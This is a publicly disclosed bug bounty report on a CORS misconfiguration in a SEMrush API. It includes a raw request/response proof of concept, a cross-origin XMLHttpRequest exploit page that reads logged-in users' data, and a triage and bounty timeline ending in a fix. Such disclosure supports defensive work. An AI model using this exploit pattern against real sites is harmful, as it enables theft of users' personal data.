71

Cross-origin resource sharing misconfig | steal user information

Share:

State Resolved (Closed)

Disclosed December 17, 2017 2:33am +0100

Reported To SEMrush

Weakness None

Bounty $1,000

Severity Medium (5.7)

Participants

Visibility Disclosed (Full)

Collapse

TIMELINE · EXPORT

bughunterboy submitted a report to SEMrush. Jun 1st (2 years ago)

Man, treat you another drink.

Description

An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.
Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.
If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to bypass any IP-based access controls by proxying through users' browsers.

POC1

Request

```
GET /organic-traffic-insights/api/rest/1.2/users/[redacted]/projects?_=1496248656402 HTTP/1.1
Host: www.semrush.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Referer: https://www.semrush.com/projects/
X-Requested-With: XMLHttpRequest
Cookie: wp13557="UWYYADs-TTTW:WWLHWYDtlnDl-TJIH-UYUTDDDIALHUZDLZTAHTIV-CCAY-XMLT-IUUA-UYUBWXWZACCWDlLtkNlo_Jht"; ref
Connection: close
Origin: https://itqayzlbkshw.com
```

Response

```
HTTP/1.1 200
Server: nginx
Date: Thu, 01 Jun 2017 01:36:26 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 884
Connection: close
Access-Control-Allow-Origin: https://itqayzlbkshw.com
Vary: Origin
Access-Control-Allow-Credentials: true
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Frame-Options: SAMEORIGIN

[{"key":"[redacted]","projectId":"800122","projectName":"dfsfsda","status":"NOT_AUTHORISED","authoriseUrl":"https://account
```

Take note from request I inject a header Origin: https://itqayzlbkshw.com then from response it returns Access-Control-Allow-Origin: https://itqayzlbkshw.com. Which mean there is CORS misconfig here.

POC 2

1. open https://example.com in browser then inspect the page and go to console.
2. run the following code in console and you would find it pops up user information `var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://www.semrush.com/organic-traffic-insights/api/rest/1.2/users/[redacted]/projects?_=1496248656402',true); req.withCredentials = true; req.send('{}'); function reqListener() { alert(this.responseText); };`

Exploit

```
<html>
<script>
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://www.semrush.com/organic-traffic-ir
</script>
</html>
```

Open above code in any browser and you would find it pops up user information like the attachment.

Comment

Attacker would treat many victims to visit attacker's website, if victim is logged in, then his personal information is recorded in attacker's server

How to fix

Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.

1 attachment:
F190113: cors.PNG

bughunterboy posted a comment. Jun 1st (2 years ago)
But it seems like you got a user token in the URL, so I do not think it can cause much damage. But it still needs to be fixed for this misconfig problem.

alla posted a comment. Jun 1st (2 years ago)
Thanks for the report, we will investigate this.

alla changed the status to ○ **Triaged**. Jun 6th (2 years ago)

bughunterboy posted a comment. Jun 13th (2 years ago)
Any update :)

alla posted a comment. Jun 13th (2 years ago)
Working on it.

bughunterboy posted a comment. Jun 13th (2 years ago)
Ok. Thanks for update man

bughunterboy posted a comment. Jun 15th (2 years ago)
This one should be eligible for a bounty, right? LOL

alla posted a comment. Jun 15th (2 years ago)
Yes

bughunterboy posted a comment. Jun 16th (2 years ago)
Can u give me an account today do I can help u to test this weekend. My email. shenytest@gmail.com Thanks

alla posted a comment. Jun 16th (2 years ago)
I've already added product to this account. It has GURU access.

bughunterboy posted a comment. Jun 16th (2 years ago)
Oh. Thank you man!

alla updated the severity from High (8.0) to Medium (5.7). Jun 26th (2 years ago)

SEMrush rewarded bughunterboy with a **$150** bounty. Jun 26th (2 years ago)
Thanks for making our service safer!

bughunterboy posted a comment. Jul 21st (2 years ago)
Still not fixed. lol

alla posted a comment. Jul 23rd (2 years ago)
Yeah, unfortunately so, I'll inform you when it will be fixed.

prateek_0490 filed a duplicate (#255696) and was invited to participate in this report. Aug 14th (2 years ago)

SEMrush rewarded bughunterboy with a **$850** bounty. Sep 27th (2 years ago)
We've revised severity for this report and decided to add bonus.

bughunterboy posted a comment. Sep 27th (2 years ago)
Wow. Really appreciate for that!

All the best wishes.

alla posted a comment. Oct 9th (2 years ago)
Could you please check the fix?

bughunterboy posted a comment. Updated Dec 19th (2 years ago)
Yes. It is fixed now. We can close it now.

```
Failed to load https://www.semrush.com/organic-traffic-insights/api/rest/1.2/users/[redacted]/projects?_=149624865646
```

alla closed the report and changed the status to ○ **Resolved**. Oct 11th (2 years ago)

bughunterboy requested to disclose this report. Nov 17th (2 years ago)
mind public disclosure as you are public program now?

alla posted a comment. Updated Dec 10th (2 years ago)
We've had open BB for not so long time ago, so we had no time to think about what exactly information we can afford to disclose. You can request disclosure using H1 functionality and we'll try to make decision and inform you in couple of weeks.

bughunterboy posted a comment. Dec 10th (2 years ago)
hi,
I think I alrwady requested it and all u need to do is agree

This report has been disclosed. Dec 17th (2 years ago)